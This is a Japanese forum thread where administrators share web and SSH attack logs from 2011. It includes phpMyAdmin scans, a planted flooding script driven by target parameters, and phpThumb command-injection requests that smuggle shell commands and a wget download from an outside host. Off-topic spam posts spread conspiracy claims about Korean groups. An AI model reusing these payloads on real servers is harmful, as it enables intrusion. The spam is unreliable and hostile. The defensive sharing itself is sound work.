68.169.42.240 - - [30/Jul/2011:23:35:03 +0900] "GET //phpMyAdmin-2.5.6/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:03 +0900] "GET //phpMyAdmin-2.5.7/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:03 +0900] "GET //phpMyAdmin-2.5.7-pl1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:03 +0900] "GET //phpMyAdmin-2.6.0-alpha/scripts/setup.php HTTP/1.1" 404 238 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:04 +0900] "GET //phpMyAdmin-2.6.0-alpha2/scripts/setup.php HTTP/1.1" 404 239 "-" "-" 68.169.42.240 - - [30/Jul/2011:23:35:04 +0900] "GET //phpMyAdmin-2.6.0-beta1/scripts/setup.php HTTP/1.1" 404 238 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:04 +0900] "GET //phpMyAdmin-2.6.0-beta2/scripts/setup.php HTTP/1.1" 404 238 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:05 +0900] "GET //phpMyAdmin-2.6.0-rc1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:05 +0900] "GET //phpMyAdmin-2.6.0-rc2/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:05 +0900] "GET //phpMyAdmin-2.6.0-rc3/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:06 +0900] "GET //phpMyAdmin-2.6.0/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:06 +0900] "GET //phpMyAdmin-2.6.0-pl1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:06 +0900] "GET //phpMyAdmin-2.6.0-pl2/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:06 +0900] "GET //phpMyAdmin-2.6.0-pl3/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:07 +0900] "GET //phpMyAdmin-2.6.1-rc1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:07 +0900] "GET //phpMyAdmin-2.6.1-rc2/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:07 +0900] "GET //phpMyAdmin-2.6.1/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:08 +0900] "GET //phpMyAdmin-2.6.1-pl1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:08 +0900] "GET //phpMyAdmin-2.6.1-pl2/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:08 +0900] "GET //phpMyAdmin-2.6.1-pl3/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:09 +0900] "GET //phpMyAdmin-2.6.2-rc1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:09 +0900] "GET //phpMyAdmin-2.6.2-beta1/scripts/setup.php HTTP/1.1" 404 238 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:09 +0900] "GET //phpMyAdmin-2.6.2-rc1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:10 +0900] "GET //phpMyAdmin-2.6.2/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:10 +0900] "GET //phpMyAdmin-2.6.2-pl1/scripts/setup.php HTTP/1.1" 404 236 "-" "-" 68.169.42.240 - - [30/Jul/2011:23:35:10 +0900] "GET //phpMyAdmin-2.6.3/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:11 +0900] "GET //phpMyAdmin-2.6.3-rc1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:11 +0900] "GET //phpMyAdmin-2.6.3/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:11 +0900] "GET //phpMyAdmin-2.6.3-pl1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:11 +0900] "GET //phpMyAdmin-2.6.4-rc1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:12 +0900] "GET //phpMyAdmin-2.6.4-pl1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:12 +0900] "GET //phpMyAdmin-2.6.4-pl2/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:12 +0900] "GET //phpMyAdmin-2.6.4-pl3/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:13 +0900] "GET //phpMyAdmin-2.6.4-pl4/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:13 +0900] "GET //phpMyAdmin-2.6.4/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:13 +0900] "GET //phpMyAdmin-2.7.0-beta1/scripts/setup.php HTTP/1.1" 404 238 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:14 +0900] "GET //phpMyAdmin-2.7.0-rc1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:14 +0900] "GET //phpMyAdmin-2.7.0-pl1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:14 +0900] "GET //phpMyAdmin-2.7.0-pl2/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:14 +0900] "GET //phpMyAdmin-2.7.0/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:15 +0900] "GET //phpMyAdmin-2.8.0-beta1/scripts/setup.php HTTP/1.1" 404 238 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:15 +0900] "GET //phpMyAdmin-2.8.0-rc1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:15 +0900] "GET //phpMyAdmin-2.8.0-rc2/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:16 +0900] "GET //phpMyAdmin-2.8.0/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:16 +0900] "GET //phpMyAdmin-2.8.0.1/scripts/setup.php HTTP/1.1" 404 234 "-" "-" 68.169.42.240 - - [30/Jul/2011:23:35:16 +0900] "GET //phpMyAdmin-2.8.0.2/scripts/setup.php HTTP/1.1" 404 234 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:17 +0900] "GET //phpMyAdmin-2.8.0.3/scripts/setup.php HTTP/1.1" 404 234 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:17 +0900] "GET //phpMyAdmin-2.8.0.4/scripts/setup.php HTTP/1.1" 404 234 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:17 +0900] "GET //phpMyAdmin-2.8.1-rc1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:17 +0900] "GET //phpMyAdmin-2.8.1/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:18 +0900] "GET //phpMyAdmin-2.8.2/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:18 +0900] "GET //phpMyAdmin-2.8.2.1/scripts/setup.php HTTP/1.1" 404 234 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:18 +0900] "GET //phpMyAdmin-2.8.2.2/scripts/setup.php HTTP/1.1" 404 234 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:19 +0900] "GET //phpMyAdmin-2.8.2.3/scripts/setup.php HTTP/1.1" 404 234 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:19 +0900] "GET //phpMyAdmin-2.8.2.4/scripts/setup.php HTTP/1.1" 404 234 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:19 +0900] "GET //phpMyAdmin-2.10.0.0/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:19 +0900] "GET //phpMyAdmin-2.10.0.1/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:20 +0900] "GET //phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:20 +0900] "GET //phpMyAdmin-2.10.1.0/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:20 +0900] "GET //phpMyAdmin-2.10.2.0/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:21 +0900] "GET //phpMyAdmin-2.11.0.0/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:21 +0900] "GET //phpMyAdmin-2.11.1.0/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:21 +0900] "GET //phpMyAdmin-2.11.1.1/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:22 +0900] "GET //phpMyAdmin-2.11.1.2/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:22 +0900] "GET //phpMyAdmin-2.11.2.0/scripts/setup.php HTTP/1.1" 404 235 "-" "-" 68.169.42.240 - - [30/Jul/2011:23:35:22 +0900] "GET //phpMyAdmin-2.11.2.1/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:22 +0900] "GET //phpMyAdmin-2.11.2.2/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:23 +0900] "GET //phpMyAdmin-2.11.3.0/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:23 +0900] "GET //phpMyAdmin-2.11.4.0/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:23 +0900] "GET //phpMyAdmin-2.11.5.0/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:24 +0900] "GET //phpMyAdmin-2.11.5.1/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:24 +0900] "GET //phpMyAdmin-2.11.5.2/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:24 +0900] "GET //phpMyAdmin-2.11.6.0/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:25 +0900] "GET //phpMyAdmin-2.11.7.0/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:25 +0900] "GET //phpMyAdmin-2.11.7.1/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:25 +0900] "GET //phpMyAdmin-2.11.8.0/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:25 +0900] "GET //phpMyAdmin-2.11.9.0/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:26 +0900] "GET //phpMyAdmin-2.11.9.1/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:26 +0900] "GET //phpMyAdmin-2.11.9.2/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:26 +0900] "GET //phpMyAdmin-2.11.9.3/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:27 +0900] "GET //phpMyAdmin-2.11.9.4/scripts/setup.php HTTP/1.1" 404 235 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:27 +0900] "GET //phpMyAdmin-3.0.0.0/scripts/setup.php HTTP/1.1" 404 234 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:27 +0900] "GET //phpMyAdmin-3.0.1.0/scripts/setup.php HTTP/1.1" 404 234 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:27 +0900] "GET //phpMyAdmin-3.0.1.1/scripts/setup.php HTTP/1.1" 404 234 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:28 +0900] "GET //phpMyAdmin-3.0.2.0/scripts/setup.php HTTP/1.1" 404 234 "-" "-" 68.169.42.240 - - [30/Jul/2011:23:35:28 +0900] "GET //phpMyAdmin-3.1.0.0/scripts/setup.php HTTP/1.1" 404 234 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:28 +0900] "GET //phpMyAdmin-3.1.1.0/scripts/setup.php HTTP/1.1" 404 234 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:29 +0900] "GET //phpMyAdmin-3.1.2.0/scripts/setup.php HTTP/1.1" 404 234 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:29 +0900] "GET //phpMyAdmin-3.1.3.0/scripts/setup.php HTTP/1.1" 404 234 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:29 +0900] "GET //phpMyAdmin-2.9.0-rc1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:30 +0900] "GET //phpMyAdmin-2.9.0/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:30 +0900] "GET //phpMyAdmin-2.9.0.1/scripts/setup.php HTTP/1.1" 404 234 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:30 +0900] "GET //phpMyAdmin-2.9.0.2/scripts/setup.php HTTP/1.1" 404 234 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:30 +0900] "GET //phpMyAdmin-2.9.1/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:31 +0900] "GET //phpMyAdmin-2.9.2/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:31 +0900] "GET //sqlmanager/scripts/setup.php HTTP/1.1" 404 226 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:31 +0900] "GET //mysqlmanager/scripts/setup.php HTTP/1.1" 404 228 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:32 +0900] "GET //p/m/a/scripts/setup.php HTTP/1.1" 404 221 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:32 +0900] "GET //PMA2005/scripts/setup.php HTTP/1.1" 404 223 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:32 +0900] "GET //pma2005/scripts/setup.php HTTP/1.1" 404 223 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:32 +0900] "GET //pma2006/scripts/setup.php HTTP/1.1" 404 223 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:33 +0900] "GET //pma2007/scripts/setup.php HTTP/1.1" 404 223 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:33 +0900] "GET //pma2008/scripts/setup.php HTTP/1.1" 404 223 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:33 +0900] "GET //pma2009/scripts/setup.php HTTP/1.1" 404 223 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:34 +0900] "GET //phpmanager/scripts/setup.php HTTP/1.1" 404 226 "-" "-" 68.169.42.240 - - [30/Jul/2011:23:35:34 +0900] "GET //php-myadmin/scripts/setup.php HTTP/1.1" 404 227 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:34 +0900] "GET //phpmy-admin/scripts/setup.php HTTP/1.1" 404 227 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:35 +0900] "GET //webadmin/scripts/setup.php HTTP/1.1" 404 224 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:35 +0900] "GET //sqlweb/scripts/setup.php HTTP/1.1" 404 222 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:35 +0900] "GET //websql/scripts/setup.php HTTP/1.1" 404 222 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:35 +0900] "GET //webdb/scripts/setup.php HTTP/1.1" 404 221 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:36 +0900] "GET //mysqladmin/scripts/setup.php HTTP/1.1" 404 226 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:36 +0900] "GET //mysql-admin/scripts/setup.php HTTP/1.1" 404 227 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:36 +0900] "GET //databaseadmin/scripts/setup.php HTTP/1.1" 404 229 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:37 +0900] "GET //admm/scripts/setup.php HTTP/1.1" 404 220 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:37 +0900] "GET //admn/scripts/setup.php HTTP/1.1" 404 220 "-" "-"
歴代PHPMyAdmin探してるっぽい >>93
お前馬鹿かスレタイ100回音読しろ
>>85-92は文字量は多いが
アタックのやってきた様子もよくわかる。だから価値アリで問題なし。
∩___∩ \ヽ
| ノ ヽ \ \ヽ
/ ● ● | ヽ ヽ \
| ( _●_) ミ i l ヽ
彡、 |∪| ノ i l l i
/ _ ヽノ ) l i | l
(___) / / ,,-----、
/ / |;:::: ::::|
⊂二(⌒ )二二二|;:::: ::::|⊃ /', ', ¨
 ̄ ヽ∴。|;::::',ヾ,::::| /。・,/∴
-:'ヾ|!|!!,i,,!ii,!l,・∵,・、
>>93 外からのアタックではないんだが・・・BINDのスレはあるけど、
DNS全般のスレはなさそうだったので(なくなっちゃった?)。
構内のPCがDNSキャッシュに対して、
ランダム文字列.DHCPの返したドメイン
というクエリを3回続けて出してるログが・・・。
1日数回やらかすこともあれば、やらかなさない日もある。
何がトリガになっているのかも分からない。
もちろんNXDOMAINが返るんだが、カミンスキーでもなさそうだし。
今のところ実害はないけど、なんかちょっと気持ち悪い。
何かご存知の方、いらっしゃいます? 202.75.211.206 [2011.8/14-22:06:33 +0900] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 REF:-
202.75.211.206 [2011.8/14-22:06:33 +0900] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 403 REF:-
202.75.211.206 [2011.8/14-22:06:33 +0900] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 REF:-
202.75.211.206 [2011.8/14-22:06:36 +0900] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 403 REF:-
202.75.211.206 [2011.8/14-22:06:39 +0900] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 REF:-
202.75.211.206 [2011.8/14-22:06:40 +0900] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 REF:- 79.143.179.235 - - [02/Nov/2011:23:49:33 +0900] "GET /webdav/sprint.php?act=phptools&host=66.135.60.226&time=90&port=29465 HTTP/1.1" 200 46 "-" "-"
79.143.179.235 - - [03/Nov/2011:00:17:19 +0900] "GET /webdav/sprint.php?act=phptools&host=2.216.249.129&time=120&port=49648 HTTP/1.1" 200 46 "-" "-"
79.143.179.235 - - [03/Nov/2011:00:21:27 +0900] "GET /webdav/sprint.php?act=phptools&host=2.216.249.129&time=120&port=51349 HTTP/1.1" 200 46 "-" "-"
79.143.179.235 - - [03/Nov/2011:00:45:24 +0900] "GET /webdav/sprint.php?act=phptools&host=66.246.127.81&time=90&port=80 HTTP/1.1" 200 46 "-" "-"
79.143.179.235 - - [03/Nov/2011:00:52:05 +0900] "GET /webdav/sprint.php?act=phptools&host=81.229.44.61&time=120&port=7171 HTTP/1.1" 200 46 "-" "-"
79.143.179.235 - - [03/Nov/2011:01:00:03 +0900] "GET /webdav/sprint.php?act=phptools&host=90.230.138.205&time=120&port=7171 HTTP/1.1" 200 46 "-" "-"
79.143.179.235 - - [03/Nov/2011:01:09:07 +0900] "GET /webdav/sprint.php?act=phptools&host=83.226.50.111&time=120&port=7171 HTTP/1.1" 200 46 "-" "-"
こんなふうにパラメータ変えてアタックしてくる。
もう1週間くらい同じIPからのアタックが続いてるよ、逆引きすると
backup01.xsltel.me
>103
特定できてるなら、ブロックすりゃ済む話だろ...
このスレはそのアタックNo1してきたURIやら状況を書いて
みんなに参考にしてもらうための情報共有スレなんですけどね # grep 222.229.65.227 auth.log|head -2
Nov 27 20:27:38 あああ sshd[9857]: Did not receive identification string from 222.229.65.227
Nov 27 20:31:55 あああ sshd[10280]: Failed password for invalid user root from 222.229.65.227 port 35862 ssh2
# grep 222.229.65.227 auth.log|tail -1
Nov 27 21:05:45 あああ sshd[15613]: Failed password for invalid user root from 222.229.65.227 port 43733 ssh2
# grep 222.229.65.227 auth.log|wc
1846 25606 185870
# host iacp-gw.kochi-tech.ac.jp
iacp-gw.kochi-tech.ac.jp has address 222.229.65.227
管理者がんがれ〜。 2002の「アルゼンチンvsイングランド」と「決勝」を朝鮮総連を騙し、観戦した少頭劣一族のアミ…立て籠り犯 朝鮮総連 少頭劣一族の真の最終目的は 徳川の財産を全て奪い
日本の芸能人を多数 中国へ拉致し、
あちらで更に監禁し働かせ
自分達家族は優雅に国に土地を買い
自分達の国にし遊んで暮らすつもりだった。
日本の芸能人を色々な奴隷にすると言っていた。日本列島は棄てる。
中国へ帰る家族のみが立て籠り犯だ。
次に狙うのはイタリアだったらしい。
おまぬ〜!
フィリピンの范蘭と西太后の所からモンゴルに逃げた『シバ』の子達だ。 同一プロバイダから昨日と今日で3回アタックしてきやがった
114.51.19.152 今、まともなサーバーは Googleのみ。
確認するべき。
Googleで
インターネットテレビ 朝鮮総連 少頭劣一族 自民党 立て籠 人質(又はハッキング)
を検索して 各方面に連絡お願い致します。
インターネットテレビ 自分の本名 8桁の生年月日
で自分の犯罪も分かるかも。
掟破りのコピペ犯は私です。
犯罪解決の為に 朝鮮人と華喃 少頭劣一族=蔗冽一族と日本中…更にGoogleで御覧の世界中の方々に閲覧して頂いております。
2チャンも私が貼る場所は閲覧して頂いております。
人質は 世界中の国のトップと国連とFreemason 全メンバーですから…日本中愚か者ばかりで嘆かわしい限り。 毎日同一人物だと思われるksからアタックされ続けている
94.23.45.14 - - [20/Dec/2011:11:31:26 +0900] "HEAD / HTTP/1.0" 403 0 "-" "-"
114.51.35.108 - - [20/Dec/2011:12:06:05 +0900] "GET / HTTP/1.1" 403 169 "-" "Java/1.6.0_23"
1.114.107.0 - - [20/Dec/2011:13:58:33 +0900] "GET / HTTP/1.1" 403 169 "-" "Java/1.6.0_23"
1.114.107.0 - - [20/Dec/2011:16:50:56 +0900] "GET / HTTP/1.1" 403 169 "-" "Java/1.6.0_23"
184.173.248.10 - - [20/Dec/2011:18:32:53 +0900] "HEAD / HTTP/1.0" 403 0 "-" "-"
114.51.163.199 - - [20/Dec/2011:19:52:26 +0900] "GET / HTTP/1.1" 403 169 "-" "Java/1.6.0_23"
114.51.163.199 - - [20/Dec/2011:21:46:59 +0900] "GET / HTTP/1.1" 403 169 "-" "Java/1.6.0_23"
207.109.164.19 - - [20/Dec/2011:22:12:50 +0900] "HEAD / HTTP/1.0" 403 0 "-" "-"
114.51.163.199 - - [20/Dec/2011:23:43:18 +0900] "GET / HTTP/1.1" 403 169 "-" "Java/1.6.0_23"
114.51.185.197 - - [21/Dec/2011:12:19:47 +0900] "GET / HTTP/1.1" 403 169 "-" "Java/1.6.0_23"
114.51.80.140 - - [21/Dec/2011:14:58:07 +0900] "GET / HTTP/1.1" 403 169 "-" "Java/1.6.0_23"
114.51.80.140 - - [21/Dec/2011:16:51:15 +0900] "GET / HTTP/1.1" 403 169 "-" "Java/1.6.0_23"
1.115.18.174 - - [21/Dec/2011:18:47:47 +0900] "GET / HTTP/1.1" 403 169 "-" "Java/1.6.0_23"
1.115.18.174 - - [21/Dec/2011:20:44:18 +0900] "GET / HTTP/1.1" 403 169 "-" "Java/1.6.0_23"
50.19.21.165 - - [21/Dec/2011:21:33:18 +0900] "HEAD / HTTP/1.0" 403 0 "-" "-"
1.115.18.174 - - [21/Dec/2011:22:37:54 +0900] "GET / HTTP/1.1" 403 169 "-" "Java/1.6.0_23" 国籍調べたらどうもフランスらしいけど、フランスの糞餓鬼かな コロスぞ ゴラァ
91.121.97.130 - - [27/Dec/2011:03:54:06 +0900] "GET /cms/plugins/content/jthumbs/includes/phpThumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp
91.121.97.130 - - [27/Dec/2011:03:54:06 +0900] "GET /wp-content/plugins/ione-core/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tm
91.121.97.130 - - [27/Dec/2011:03:54:07 +0900] "GET /common/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%
91.121.97.130 - - [27/Dec/2011:03:54:07 +0900] "GET /phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/f%2067.19
91.121.97.130 - - [27/Dec/2011:03:54:07 +0900] "GET /libs/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/f%2067.19.79
91.121.97.130 - - [27/Dec/2011:03:54:08 +0900] "GET /wp-content/themes/wp-max/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;
91.121.97.130 - - [27/Dec/2011:03:54:08 +0900] "GET /wp-content/themes/fama/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wge
91.121.97.130 - - [27/Dec/2011:03:54:08 +0900] "GET /gallery/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/f%2067.19.7 >>115
whois情報だとdedicated serverって書いてあるから、
レンタルサーバか何かだろう。
あとphpThumb()と呼ばれるツールの脆弱性を突いて、
サーバ上でコマンドを実行しようとしているところから
すると、おそらく対象のサーバは乗っ取られんではないかな。 IPアドレス 175.105.126.4
ホスト名 4.126.105.175.ap.yournet.ne.jp
IPアドレス割当国 日本 ( jp )
市外局番 該当なし
接続回線 種別不明
都道府県 大阪府
IPひろば検索ランキング 17位 (48Point) 安藤優子、木村太郎は、某プロパイダの社外取締役、かつ、安藤は、フジ社外の人間にもかかわらず、フジテレビジョンのM&Aの最中、フジのホワイトナ
イトの【親会社】の本業を無視して、「インターネットは虚業だ。具体性がない
。」というようなことをコメントしました。この虚業は、livedoorを指していた
としても、「同業者」であったということは、非常に、違和感を感じずには、い
られません。 78.46.89.6 (liventura-grid.com)
2012/01/08,09:41:21,"-",GET,"/muieblackcat","","1.1",403,3075,"-","","-"
2012/01/08,09:41:22,"-",GET,"//index.php","","1.1",403,3075,"-","","-"
2012/01/08,09:41:23,"-",GET,"//admin/index.php","","1.1",403,3075,"-","","-"
2012/01/08,09:41:24,"-",GET,"//admin/phpmyadmin/index.php","","1.1",403,3075,"-","","-"
2012/01/08,09:41:24,"-",GET,"//admin/pma/index.php","","1.1",403,3075,"-","","-"
2012/01/08,09:41:25,"-",GET,"//db/index.php","","1.1",403,3075,"-","","-"
2012/01/08,09:41:26,"-",GET,"//dbadmin/index.php","","1.1",403,3075,"-","","-"
2012/01/08,09:41:27,"-",GET,"//myadmin/index.php","","1.1",403,3075,"-","","-"
2012/01/08,09:41:28,"-",GET,"//mysql/index.php","","1.1",403,3075,"-","","-"
2012/01/08,09:41:29,"-",GET,"//mysqladmin/index.php","","1.1",403,3075,"-","","-"
2012/01/08,09:41:30,"-",GET,"//typo3/phpmyadmin/index.php","","1.1",403,3075,"-","","-"
2012/01/08,09:41:31,"-",GET,"//phpadmin/index.php","","1.1",403,3075,"-","","-"
2012/01/08,09:41:32,"-",GET,"//phpMyAdmin/index.php","","1.1",403,3075,"-","","-"
2012/01/08,09:41:33,"-",GET,"//phpmyadmin/index.php","","1.1",403,3075,"-","","-"
